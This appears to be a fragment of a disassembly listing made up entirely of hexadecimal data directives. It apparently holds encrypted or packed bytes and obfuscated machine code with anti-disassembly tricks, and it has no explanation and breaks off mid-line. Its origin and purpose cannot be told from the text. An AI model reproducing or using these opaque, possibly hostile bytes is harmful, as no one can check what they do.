20BDCF34h, 467EB461h dd 2FDD4167h, 20BDFCAFh, 0E5524622h, 0BD8E4BEDh, 275D1DE3h dd 0D9381443h, 0D5BA2F27h, 30D87AA9h, 2FECF4C2h, 20BDFBAFh dd 79E2AA22h, 77BD1461h, 20BD3CCAh, 0E3E2BF22h, 4C1467Dh dd 4F96626h, 20BDE826h, 0E3EABE22h, 7BD4D797h, 5F40712h dd 993C8044h, 0D920B642h, 0A9BA2F2Fh, 0C0B006BFh, 3B369225h dd 0C8E8F948h, 20BDFC21h, 7D7E2302h, 249953ABh, 2499DBA3h dd 20BDCF35h, 3E7EB267h, 0ABF755C2h, 2634F639h, 0ABBDFC22h dd 0C0923397h, 4AA6B425h, 2355C822h, 0BDCF22h, 0A9E2247Dh dd 0A1B9D75Eh, 35B9DD66h, 67BDFC22h, 1B30BD75h, 20D7E711h dd 20BE7770h, 7A9DCF22h, 7434BDE1h, 643CF706h, 20A6FD06h dd 72FFFC22h, 31C153E1h, 0E75D3A76h, 203E90B5h, 0A9BDCF22h dd 0C08C6EBFh, 73BD9925h, 20BDFACAh, 0E3E6DC22h, 4E1F779h dd 4F9BE26h, 20BD8A26h, 0E3EE8C22h, 0EE039407h, 0E6CA4641h dd 0C0BAA0A7h, 20D7BB25h, 20BE9672h, 789D3F22h, 6434C7E1h dd 643CCB06h, 20A5E306h, 70FDF322h, 0FFE0A2E1h, 0ABDB2CB1h dd 20BA96D8h, 0B5ED3F22h, 0C81F4379h, 0C530E4ADh, 7FBA070Ah dd 122A064Ah, 4B978A9h, 0C11B996h, 20BD6DCBh, 9CA4EC22h dd 0AAF4CB07h, 0A4E6121Eh, 0CB34ABC2h, 6D3A865Ah, 20BDE8CAh dd 1F9EF422h, 0BE0122E5h, 0E60AD57Bh, 29968A91h, 2B54761Ch dd 27BDE722h, 177E6DC4h, 2C49BDFAh, 0DFE3DEF8h, 0C0945397h dd 8D281625h, 0ADBA7F11h, 0C3C227A7h, 73BD8D25h, 20BDF0CAh dd 0E3E6D922h, 4E17579h, 4F9FF26h, 20BD2226h, 0E3EEDC22h dd 43EFAF11h, 65473204h, 0AD34A13Ch, 275DDD33h, 20BDF2CBh dd 96146B22h, 0A9EE2AA9h, 876D84C2h, 0DF6F4C50h, 70BD8DF2h dd 20BDF0CAh, 0E3E5D922h, 4F9757Ah, 4F9FF26h, 20BD2926h dd 0E3EDDF22h, 0A952080Ah, 0C0A116A7h, 1108F025h, 60BA190Bh dd 0C8ECFC48h, 20BD7E21h, 797E6602h, 2499D3ABh, 24998BA3h dd 20BDE739h, 5F7EA263h, 166E3438h, 0B140ADCh, 0C0A88BAFh dd 0C8BDB425h, 20BD9F2Eh, 4E313979h, 0CE7B1F76h, 0FAA17E3Eh dd 0ABE708A8h, 0BD207522h, 0A9BA9E34h, 0C0A032A7h, 0C23CF925h dd 5954CC30h, 4ABDE723h, 2355A222h, 0BDF922h, 0A9E43F7Bh dd 0A1B95A6Eh, 37B91B66h, 61BD9F22h, 82FF0C73h, 9EDB79FCh dd 0A530BCE0h, 275E32E5h, 0C8EDFC48h, 20BD7E21h, 787E6702h dd 2499DBABh, 24998BA3h, 20BDE736h, 1F7EA362h, 3BE46CA9h dd 0C92DFBC2h, 20BD7E2Ah, 13F48085h, 0F0364C92h, 72EF9F72h dd 2FE41FA9h, 7FEAA313h, 0B0E5A378h, 0C8E8FC48h, 20BD7E21h dd 7D7E6202h, 2499F3ABh, 24998BA3h, 20BDE739h, 0B67EA667h dd 591ECDF9h, 0DF204128h, 0C0A213B7h, 26546825h, 0C3BD9F22h dd 6054739Fh, 0BD30B95Fh, 275E38EFh, 20B71042h, 8D66FC22h dd 0D781BA9Ch, 0C2B8D1C3h, 2C55CF43h, 0EEBDCF22h, 0C4ECF62h dd 0FF1AD5Ch, 0C8F1FE2Eh, 20BDFC31h, 8AC03637h, 39478E7Eh dd 0FF44A0D7h, 0F4FA6AFDh, 70FA395Fh, 7A8CFC70h, 0A9E3A67Ah dd 20D7D83Eh, 20BE9671h, 7B9D3F22h, 7C34C4E1h, 643CCB06h dd 20A1E306h, 73FEF322h, 0FFD73FE1h, 83A39864h, 0AD365109h dd 275D1E8Bh, 4403F972h, 4B94617h, 0C8EAE748h, 20BDF321h dd 7F7EA602h, 249980ABh, 24993AA3h, 20BD3F39h, 347EC865h dd 80439718h, 0DFB9EBFCh, 0C0A0F6B7h, 8D20C825h, 0A9BA1C2Ah dd 0C09CB3A7h, 72BD5525h, 20BD9CCAh, 0E3E7EF22h, 4E96E78h dd 4F97226h, 20BDE126h, 0E3EFBE22h, 0AB8C70AEh, 0EF3C598Ch dd 310BA3FCh, 27E44AE4h, 0ABEEE0C2h, 54709BF2h, 0ABB29BFBh dd 20BDFC22h, 92997AA3h, 4AFA912Dh, 2355CC22h, 0BDCF22h dd 0A9E62479h, 0A1B9D77Eh, 3AB9DD66h, 63BDFC22h, 2D4FBD71h dd 0D6F76F53h, 20AD773Fh, 879CCF22h, 0B46A8A6Fh, 0DEC117C8h dd 6307F2DEh, 0E836C660h, 0D08817Dh, 0ABBADF0Bh, 0C0A31EB7h dd 0C8384225h, 0ABBA045Dh, 0C0917AAFh, 0AB6D0625h, 0B93875F2h dd 4ABA9E08h, 23556F22h, 0BD9F22h, 0A9E50C7Ah, 0A1B9C366h dd 39B9D766h, 60BDF922h, 49E43F72h, 69884B6Bh, 20BDBB2Dh dd 0A57B9F22h, 275DC87Bh, 29306C65h, 0C8BA1301h, 20BDF926h dd 81CFE9B2h, 20BDF12Dh, 73ED3F22h, 20BD8FCBh, 0D191F322h dd 3E98A991h, 34EAC890h, 9A71ABAh, 6436A27Eh, 72ED7A06h dd 20BD39CBh, 3A2C1722h, 2F6B650Dh, 0C002B713h, 7FF0617Eh dd 2036A178h, 20BDF5CBh, 0FBAD2722h, 2E7FFEDCh, 64348FEDh dd 72EDCB06h, 11B216A9h, 21E5AB78h, 0C0A020A7h, 0D080325h dd 0C9BA9E0Bh, 20BD3F33h, 0E04E6324h, 0BFA9A3CBh, 141F1749h dd 0E53BBA8Ah, 0C8387466h, 4ABA1F5Dh, 23552E22h, 0BD3F22h dd 0A9E55C7Ah, 0A1B9EB66h, 3CB9C366h, 60BDF322h, 0E7223A72h dd 2304DEDEh, 0C97F7950h, 20BD3F2Bh, 0FD81156Bh, 6C5D4B79h dd 4A6D18ABh, 2355A622h, 0BDF922h, 0A9E03F7Fh, 0A1B95A4Eh dd 37B91B66h, 65BD9F22h, 0A28C0C77h, 0F13C4615h, 0EAD8B6Eh dd 10AC7CABh, 20D7FBC2h, 20BE9670h, 7A9D3F22h, 7434C5E1h dd 643CCB06h, 20A8E306h, 72FFF322h, 0E61AA0E1h, 0C0BAA5A7h dd 0BD342D25h, 275D3B9Bh, 20BD9BCAh, 19E25F22h, 140381BBh dd 72EDA3C7h, 0EC049F73h, 11B2A3D1h, 0CB24C444h, 64366778h dd 8029B06h, 0AB993BDAh, 20AC0E22h, 3647F322h, 5A953886h dd 196DF149h, 0A1768532h, 0A992EABFh, 78B9BB66h, 0C8ECCF48h dd 20BDE721h, 797EAA02h, 2499B5ABh, 2499B8A3h, 20BD7E38h dd 477E6E63h, 536896C2h, 95429ED7h, 275DCE0Fh, 0C8EAF348h dd 20BDF921h, 7F7EA302h, 249902ABh, 24997BA3h, 20BD9F3Eh dd 9F7E9865h, 1B392364h, 0D9DD93D3h, 0E8369942h, 41692AA2h dd 0FB0FBABh, 0ADDC38C2h, 0C3C277A7h, 75BDA525h, 20BDE4CAh dd 0E3E0D322h, 4D1707Fh, 4F97D26h, 20BD6326h, 0E3E87A22h dd 76239C67h, 1E546D2Dh, 0EA37163Bh, 548D4944h, 20D729DDh dd 20BE1475h, 7F9D7E22h dd 5C3460E1h, 643C9B06h, 20A4CB06h, 77FAE722h, 2D6FF7E1h dd 46C3E573h, 0A53402A9h, 275D5EB3h, 0C8EE3F48h, 20BD9F21h dd 7B7E9402h, 2499BBABh, 2499B7A3h, 20BDF935h, 0C57EAF61h dd 4646237Dh, 0A57BF1A9h, 275D987Bh, 76BDA575h, 20BDE4CAh dd 0E3E3D322h, 4C9707Ch, 4F97D26h, 20BD6726h, 0E3EB7922h dd 56D1BCA5h, 2C558AEBh, 88BDE722h, 0B0ABBD50h, 0E7555323h dd 2FEA6D0Dh, 0C8E3869Dh, 20BD3F26h, 0B0B9CD24h, 0CB2A7544h dd 4F96C72h, 0D10A9326h, 20BDF6CBh, 0EA1E9322h, 9D055CD7h dd 689A6251h, 4425E0BDh, 95BD4443h, 4F96E2Eh, 0F3369326h dd 1BC9D49Bh, 0A1E59D1Bh, 752C53E0h, 0CD281C57h, 0DFBA7F3Bh dd 0C094E297h, 0A4EF5825h, 1D0FF99Bh, 5F557CAFh, 9D96FBC1h dd 275D7023h, 20D7EFDDh, 20BE7777h, 7D9DCF22h, 4C34BAE1h dd 643CF706h, 20A1FD06h, 75F8FC22h, 0A40045E1h, 0DBFB2F0h dd 0A8B29CAFh, 20BDCF24h, 108C6A11h, 0A534F4C2h, 275DCAABh dd 0C8EDFC48h, 20BD7E21h, 787E6702h, 2499DBABh, 24998BA3h dd 20BDE73Eh, 1B7EA362h, 4B6FDBF5h, 42855FC7h, 5120F742h dd 0C9BADF25h, 20BD9F2Eh, 0D10BD002h, 0C12725B7h, 76B2B9D9h dd 79383F43h, 63BA1C25h, 0C8EB7E48h, 20BD3F21h, 7E7EC102h dd 2499BBABh, 2499A3A3h, 20BDF338h, 0A7EAF64h, 7DBCD1ECh dd 9FD5D35Fh, 0A1307F25h, 48D4BB26h, 0A1ECE072h, 76A47FDh dd 9542AA0Ah, 275DD00Fh, 20BDF2CAh, 23484B22h, 27404A6Ch dd 0C9CD1F5h, 0AB8F0B06h, 0C0B20EAFh, 0A530AD25h, 275E86CAh dd 0C8E8FC48h, 20BD7E21h, 7D7E6202h, 2499F3ABh, 24998BA3h dd 20BDE73Ah, 0AF7EA667h, 0F3973AC1h, 6D287770h, 7ABA9E25h dd 20D7EFDDh, 20BE7772h, 789DCF22h, 6434BFE1h, 643CF706h dd 20A8FD06h, 70FDFC22h, 40E044E1h, 0A975B444h, 0C0B912B7h dd 0A534AE25h, 275DFD87h, 0C8EEF348h, 20BDF921h, 7B7EA702h dd 249922ABh, 24997BA3h, 20BD9F35h, 0DD7E9C61h, 0AD14B497h dd 0C3764EA7h, 0F9087225h, 0B0BA1C01h, 0F6021842h, 20AED7E2h dd 7C3B9F22h, 2D07BAEFh, 8792AA0Bh, 6DEAF919h, 0F935F0BFh dd 2FEFACBCh, 7EE52413h, 0A3B26F43h, 20BD9F0Fh, 20BDDCCAh dd 71113C22h, 2ABF6BEFh, 0F210DECAh, 5EBD505Eh, 67863CE8h dd 20BD30CBh, 0FD871C22h, 0F9B95B9Bh, 0FA31E570h, 0CC0D3580h dd 20D76978h, 20BE1475h, 7F9D7E22h, 5C3460E1h, 643C9B06h dd 20A9CB06h, 77FAE722h, 0AD36B4E1h, 275DF997h, 20BDEDCAh dd 0CA20CA22h, 4FDBAB71h, 3C802AFDh, 0C28FEA88h, 95364337h dd 275DF50Fh, 4D280678h, 0A9BA1C3Dh, 0C0A2B397h, 0AB76B525h dd 8D3014FAh, 0ADBA2F39h, 0C37656A7h, 76BD9925h, 20BDFACAh dd 0E3E3DC22h, 4C9F77Ch, 4F9BE26h, 20BD8926h, 0E3EB8922h dd 0AB9997DDh, 0C09082B7h, 0FA0CA925h, 0A999F8ABh, 0C0A62F9Fh dd 72EDAC25h, 20BD93CAh, 0F9ED3922h, 40D30774h, 55E5E4E5h dd 203DF645h, 7ABDFC22h, 9EEB4F2Dh, 23692B9Dh, 70E5C57Dh dd 4A2E1EA9h, 2355B522h, 0BDF322h, 0A9E73A78h, 0A1B9D876h dd 35B95A66h, 62BD3F22h, 78A15C70h, 3BDC72A9h, 0B542E0C2h dd 275DEE27h, 20BDEBCAh, 0D8E3AE22h, 0B2DA7682h, 8C07B5B5h dd 2AD4B704h, 0ABF1B62Fh, 0C08C329Fh, 0A534A925h, 275DE3CBh dd 29B479ABh, 0A57A79C2h, 275D2CB3h, 20BD9F2Dh, 0C8E8CF48h dd 20BDE721h, 7D7EAE02h, 249995ABh, 2499B8A3h, 20BD7E3Ah dd 947E6A67h, 0B207474Fh, 9FB220A8h, 0C92818DCh, 2FBA1338h dd 0A5343295h, 275DFB47h, 0C8E87E48h, 20BD3F21h, 7D7EC202h dd 2499A3ABh, 2499A3A3h, 20BDF33Eh, 8B7EAC67h, 27DCAC8Ch dd 0C069B269h, 578BAA9h, 0BD3098C2h, 275E10D8h, 0ADBCA4ABh dd 0C0AAC29Fh, 0F4087425h, 99BA1FFDh, 20BD7E11h, 13569BD1h dd 20BD9F9Ah, 547DC422h, 20A52521h, 2C99B7A9h, 20BD1171h dd 0A1E6FC22h, 20BD69E1h, 4E1B622h, 4F91632h, 17059436h dd 0DFBD4682h, 4F978C2h, 4A5D0626h, 2355AD22h, 0BD7E22h dd 0A9E4FC7Bh, 0A1B9BB6Eh, 3BB9EB66h, 61BDE722h, 9B9C3073h dd 0C16D7C4Fh, 9D3426F3h, 275D4D1Fh, 77BD5543h, 20BD9CCAh dd 0E3E2EF22h, 4C16E7Dh, 4F97226h, 20BDE526h, 0E3EABB22h dd 58C340D6h, 6C8EBA2Ch, 0DD089650h, 0ADBA2F01h, 0C376569Fh dd 57307E25h, 98BA1AC2h, 0B89B5717h, 2490FB11h, 0EF9638C2h dd 9846DDE3h, 97A96151h, 25C0A772h, 0AF217D72h, 25C08FF9h dd 22263171h, 83A9BD3Fh, 0A4F305E9h, 6AD98Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 84D022C3h dd 373A1D47h, 602074C9h, 58D0Fh, 81660000h, 618869C2h dd 293D8D8Bh, 66E907E0h, 0F5000000h, 51006A61h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 77EB7E83h dd 8860FF9h, 60000000h, 9034D0BBh, 0F61F945h, 0E80h, 820F6000h dd 0 aBAJ db 'ÒÉ\,',9,'aÃj',0 dw 0E853h dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 6FC35343h, 0E4F7692Fh dd 0E9C08BF9h, 11h, 0C0FE784Eh, 0C0F9464Ah, 890D1A3Fh dd 8A8A07EAh, 0B1BD833Fh, 7E006h, 0BD830975h, 7E001C5h dd 50197400h, 0B8C08B53h, 4B9h, 23998589h, 9D8D07E0h, 7E2BCC9h dd 585BD3FFh, 1C5BD83h, 740007E0h, 0B8535017h, 4B9h, 23998589h dd 9D8D07E0h, 7E2B96Ah, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0C4C35747h, 603D291Dh, 3830Fh dd 8B660000h, 61F98AF2h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0AEC35646h, 2811611h, 0FA091F99h, 0FE9F9h dd 0E80B0000h, 0D993365Eh, 0ADB63307h, 0B554412Bh, 0FC08BA4h dd 784h, 1850F00h, 0F8000000h, 25E940h, 3C370000h, 3C75h dd 7 dup(0) dd 0E9000000h, 535h, 0AFC9836Bh, 243EF6DDh, 9BB56D52h dd 0E28E0C9h, 86A05A3Ch, 0B1938831h, 270BDDF7h, 9E81536Dh dd 14FACCE6h, 7560405Ah, 0D6BF5F52h, 0CEA51721h, 0BF456C8Fh dd 0D73121D6h, 878D38F0h, 32452B65h, 0B901CB4Fh, 384FFACCh dd 6CB3420Ch, 262C97DDh, 3FF9DBD9h, 0B36D5325h, 10CAB0AEh dd 6E260D0Bh, 6CC1F669h, 607A341Ah, 0F048FD29h, 0F13CBB4h dd 61676DF0h, 0B2CC8467h, 43ECFDE0h, 4E6DEBh, 350F26D1h dd 428F954Fh, 0A1A66044h, 0D7217EABh, 3AAFE3F4h, 3E7C00DFh dd 4347C144h, 3E55B242h, 0BA5A961Bh, 0E28DE029h, 5610F6C8h dd 5AA40A51h, 11F729BAh, 6D545257h, 83DB0B5h, 0C27A61ABh dd 0F21BC6BDh, 0D00E6CC1h, 0FB5434ACh, 71h, 9B46DC08h dd 4B5FD4F8h, 452B2345h, 1235748Bh, 29BAA09Fh, 768084D7h dd 195B60CAh, 98FB484Eh, 0D3EBDD6Ch, 0CCD24EF5h, 0B9FE2689h dd 7CD10229h, 3449E01Eh, 10B54h, 2B550000h, 0E7A18544h dd 694B253Ch, 0F95CA9AFh, 7C823A1Fh, 0F3DC9B82h, 8D8B903Bh dd 74E7ECA4h, 6C532955h, 0C758C9DBh, 2B2227E1h, 0A8057A80h dd 0A5BF775Eh, 1933EDD3h, 36492B1Fh, 0A5E06866h, 7C812C7Ch dd 0DADF977Eh, 82D42972h, 0FACCE6A0h, 57555A14h, 0B7B5BA72h dd 712910D1h, 0C5CA756Ch, 2126DEC7h, 5EA1FE2Bh, 3A90ED4Eh dd 54342C1Ch, 8037h, 836A4400h, 1DCFC6CBh, 837A7F39h, 492B5B7Dh dd 0A78C8A8Fh, 5877EAEFh, 0A0BBF619h, 70C329BAh, 4E98F56Ah dd 0C698B26Ch, 27252AE4h, 8381863Eh, 0E4E2E7A1h, 0DA4247FFh dd 0E1F13C91h, 81CD2380h, 0CA5434E8h, 89h, 8F492B14h, 1AFB278Ah dd 0DB4C44CDh, 785B555Bh, 6D18D0B9h, 3A332A56h, 6D1B23FDh dd 0D1C8CD87h, 0A1D32026h, 6E097ECh, 2EAB0E1Fh, 3C1D6BC5h dd 8F958C91h, 0DFF9B395h, 6487C6E5h, 29BAA14Dh, 0D6D0D629h dd 264C30EFh, 0BAA0AE03h, 0CA75C829h, 0C23CEC5h, 24CE0AE0h dd 2F35A3A2h, 0CD139BE2h, 0F81329B9h, 78A6C6CCh, 0DBE146E7h dd 69D8DC3Bh, 57A800Fh, 981452A8h, 38645434h, 0EC9123B7h dd 0ED71774Ch, 1, 87462B37h, 45FDE2A3h, 0F39E4940h, 0AB5F8BEEh dd 9FC6C346h, 0DBC1BBC1h, 0F9261C21h, 0AE6D52A4h, 160D12CCh dd 0FB25516Bh, 6802253Ch, 9E2E59B9h, 0B89E5D44h, 0A3A853FEh dd 0EB05BFA5h, 62793319h, 0E6ECA688h, 0BA5D5299h, 590E21D9h dd 12CCB204h, 5E7C1F8h, 494F464Bh, 0AAAF694Fh, 0F50CC6ACh dd 777C341Bh, 0C52D7A80h, 81305392h, 0FD21D9B9h, 0D22FA4AAh dd 507CA288h, 41B306Dh, 1998933Bh, 6521D9E4h, 696E260Bh dd 21CC772h, 0D457E624h, 13E1153h, 0D15B0000h, 0ADD9F04Fh dd 2C01A76h, 308F9501h, 598CC90Dh, 0E7EC3F2Eh, 2F4903E9h dd 7F371EF8h, 837D837Ah, 7BDEE39Dh, 0FF04BCA1h, 22080208h dd 0E6125168h, 3359C32Fh, 0F8B9B491h, 0A321DA41h, 0C0308C0h dd 8FDCE235h, 3781DE27h, 41809751h, 0DA41931Eh, 0E698EB21h dd 4C434802h, 0D806E446h, 0F353D4B5h, 5Bh, 6487C63Dh, 29BAA14Dh dd 30E8CF29h, 8389342Bh, 2E45E02Fh, 0B2B76F54h, 6E2609BBh dd 0EBE60968h, 5356455Dh, 2B0FE900h, 6F756C71h, 0A1D6DB22h dd 0D697A9BAh, 0EB4AD579h, 3F7295D4h, 37A9BAA2h, 5C7FDEE4h dd 0D6455F75h, 5D94AE01h, 0A0B6FB1Eh, 6DC029BAh, 7E3D67h dd 0D1D30000h, 0B6D9F04Fh, 2E5AA4E4h, 2BAFDB1Ah, 0BABB033Ah dd 0A5B001FCh, 73C621D9h, 0F6FB4E6Dh, 6C5112F8h, 0D12CAADh dd 6F666B16h, 0F2D8AAC4h, 0E0EC3338h, 4721D9A5h, 5EB3D92h dd 9FA45E44h, 0CA764Fh, 41EC72A5h, 0C0507C96h, 7A294C63h dd 26789Fh, 0C4AAA8ADh, 0E20F050Ah, 3FE18Dh, 1DDC6E9h dd 52A52E56h, 42270138h, 0FDB6FB1Eh, 6DC021D9h, 0C2C6BDC2h dd 0CC7A1DC0h, 0F31370Ch, 0D9F04FD1h, 22DCC09Ah, 42CAD91Ch dd 36902E59h, 0EAEF9A54h, 324C06ECh, 0BBC07A60h, 48989E74h dd 0BE13480Ah, 0B2CC866Ch, 2940FAE0h, 0ABB16B4Fh, 0BF77605Eh dd 81ADC4BAh, 2A383216h, 0D89276ECh, 5DB2272Dh, 0DCFF250Bh dd 0ED452CD5h, 7C4A4EA1h, 7906EE52h, 0F2C4DE89h, 1F4D520Ch dd 3, 2B6624B5h, 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h dd 50308C2h, 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 1968241Ch dd 89000060h, 3C682414h, 89000022h, 0BB53241Ch, 747201CDh dd 0C15BDA89h, 0F28106EAh, 1F502F36h, 19DAF281h, 0C2811E8Ah dd 7BF82923h, 0BA32C281h, 8B548BDFh, 0C483241Ch, 4EC8304h dd 89243489h, 87389D6h, 2434FF5Eh, 4C4815Bh, 8B000000h dd 89562414h, 4C681E6h, 83000000h, 348704C6h, 74E95C24h dd 0E2FFFC99h, 0FD5D818Bh, 8C2367FFh, 0D24B8D65h, 0E6E8B85Ah dd 0C50307E3h, 61C0E0FFh, 7D043584h, 0C005627Ah, 0F8D01C8Dh dd 0C8610430h, 0C18B4B9Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 40C35040h, 49958947h, 0EB07E01Dh, 4 dd 34DE8100h, 89265D78h, 0E00FE985h, 0C9858D07h, 0F807E013h dd 66605090h, 53162CBFh, 6158F78Ah, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0C8AAE19Bh dd 4DE4415Bh, 870FAE3Ch, 3, 6AFB8B66h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0F2F4C2B7h, 8955C5D1h, 0E020B59Dh, 6A006A07h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 21B0C350h, 40C8F97Eh, 8DFE8BF8h, 0E3E9D285h, 45B58B07h dd 8307E034h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 3A095FC3h, 9B86277Bh, 8166607Ch dd 29C503CEh, 0E014D595h, 8A0F6107h, 6, 31798D89h, 609007E0h dd 60FE8B66h, 5250C28Bh, 585A310Fh, 0E8506161h, 6, 0FF02776Eh dd 50509F92h, 5A310F52h, 905F5F58h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 35C35242h, 0C6816633h, 800FA057h dd 6, 2191BD31h, 6A07E0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0ECC35747h, 56C63062h, 0E93A8F47h, 5 dd 8FE5BFB3h, 50006AE8h, 1C9DB58Bh, 0FF5F07E0h, 0E0344195h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0FA9BB402h, 661AE6CBh, 0A544EF81h, 8B0Fh dd 0BD8B0000h, 7E016FDh, 0A3939D8Dh, 6A07E3h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 8722CAC3h dd 0D3FFA660h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 74C35040h, 0AE9EF55h, 0BD000000h, 0C4F07D7Eh, 4C88A67Eh dd 0FD85FFB1h, 0BF07E020h, 5609909Eh, 2A15B529h, 0AFE907E0h dd 0E8000007h, 0 dd 0DCED815Dh, 2907E3E9h, 0E01E7995h, 14E807h, 0D23B0000h dd 417A36Ah, 0EFF3B9B2h, 64F17773h, 0E0126F03h, 0BF0FCE0Ah dd 0BD815FFAh, 7E01391h, 7D0h, 14F860Fh, 95010000h, 7E016B9h dd 8BD9D8Bh, 0BD8B07E0h, 7E016FDh, 7E9h, 0EA251200h, 43A380Bh dd 100E381h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 24ABDCC3h, 0AE8h, 0C5525A00h, 764AD0A8h dd 8B145A4Fh, 0E01D11BDh, 0DB0B5F07h, 9A850Fh, 0B5290000h dd 7E02A6Dh, 8E9h, 0FF05FD00h, 7FFE51BFh, 0B9BD83E1h, 7E3E7h dd 3E840Fh, 6E90000h, 23000000h, 1025906h, 9AE924h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0D7CC9CC3h, 0ECEC6F7Dh, 0F3DBD8Bh, 858907E0h, 7E020A9h dd 0E7B985C7h, 107E3h, 0BD8B0000h, 7E00615h, 57E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0FBBF0F42h, 0BFF18B66h, 48533478h, 0E7B985C7h, 7E3h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0BD436BC3h, 0B589FCDCh, 7E0304Dh, 8BD9D8Dh dd 506007E0h, 5BFFB70Fh, 0F819D89h, 816107E0h, 0FFFEFF23h dd 0E1B58BFFh, 8907E008h, 0E012098Dh, 0DB8C6607h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F4C35646h, 4DB7F7E2h dd 17C9BD01h, 0E68107E0h, 70F47377h, 14E9h, 0A00B7200h dd 0B5A75965h, 8EA95D15h, 0AF62259Ah, 773DDE33h, 4C3F60Bh dd 53840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 4F219C3h, 6657572Fh, 5E15F3BFh dd 0E995FF5Fh, 6607E01Ah, 2FF7C781h, 0FB05BF90h, 5050572Fh dd 754567BFh, 0F905E3Bh, 681h, 118D3100h, 8B07E031h, 0E01A81BDh dd 47EE907h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 57CEB4C3h, 233DE3B1h, 0E025E1B5h dd 8E907h, 46AD0000h, 23F5555Ah, 0B0805Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0DC35242h, 70E6F888h dd 0E4FFB70Fh, 56006A71h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 85F62213h, 97AFC66Bh dd 67BFB181h, 0F03B85Bh, 0BD8BD8B6h, 7E01BFDh, 6BAh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BF0F2307h, 6AC38BF2h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 9A95C357h, 820DA1Ah dd 4ADBD89h, 8F0F07E0h, 0Fh, 0AE9h, 59F2EC00h, 689537D6h dd 0C1254A69h, 0B58904E8h, 7E0071Dh, 3229BD2Bh, 0F76607E0h dd 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 4EE4ECA7h, 89F6B0D0h, 0E02065B5h, 60D82B07h dd 2820Fh, 0C38B0000h, 259D9D89h, 666107E0h, 460EDF81h dd 0E8575093h, 0Bh, 52496C0Ch, 721CA512h, 600E6D7Ah, 935F5E61h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6DC35545h dd 9240181Dh, 896132EAh, 0E00875B5h, 0AE907h, 69210000h dd 5E57F521h, 0E96D97EBh, 1391B5FFh, 95FF07E0h, 7E018A9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 18C35141h dd 0A44A8ED9h, 1021BD01h, 0B007E0h, 5889D681h, 70E66A6Eh dd 0E4F3B70Fh, 9B58B71h, 3C07E026h, 9D830F61h, 6A000002h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 52D9C355h, 0B60F5EF9h, 57006AD8h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0EB544F90h dd 0FC97265h, 58Ch, 7473BE00h, 6BA3485h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0AF6CC350h, 5A42239Dh, 0C38BF549h, 8E9h, 0A46A3D00h dd 5F1C6E5h, 4E8C17Bh, 1B91BD89h, 0F76607E0h, 9672BFE2h dd 0D82B2D61h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 30C35040h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 9E64818h, 0F717BCA3h dd 0D82B6052h, 1BA880Fh, 0BD890000h, 7E021D9h, 7B9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0C18314A8h, 8DB58B00h, 3B07E008h, 81860FD9h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0C585C351h, 7B4A7FC1h, 33E1FD97h, 0E004C5BDh dd 0D98C6607h, 0F04C1F6h, 13B84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0D24B8D65h dd 0FDA395Ah, 1384h, 0EE900h, 57580000h, 0A30D648Bh, 0AB588DA0h dd 0B4BA450h, 60F78B66h, 6800Fh, 890F0000h, 0 dd 1D618D8Bh, 0FF6107E0h, 0E01AE995h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 5F940A66h, 65456B72h, 14E9h, 0B8DE7400h, 578847C9h dd 1035627Bh, 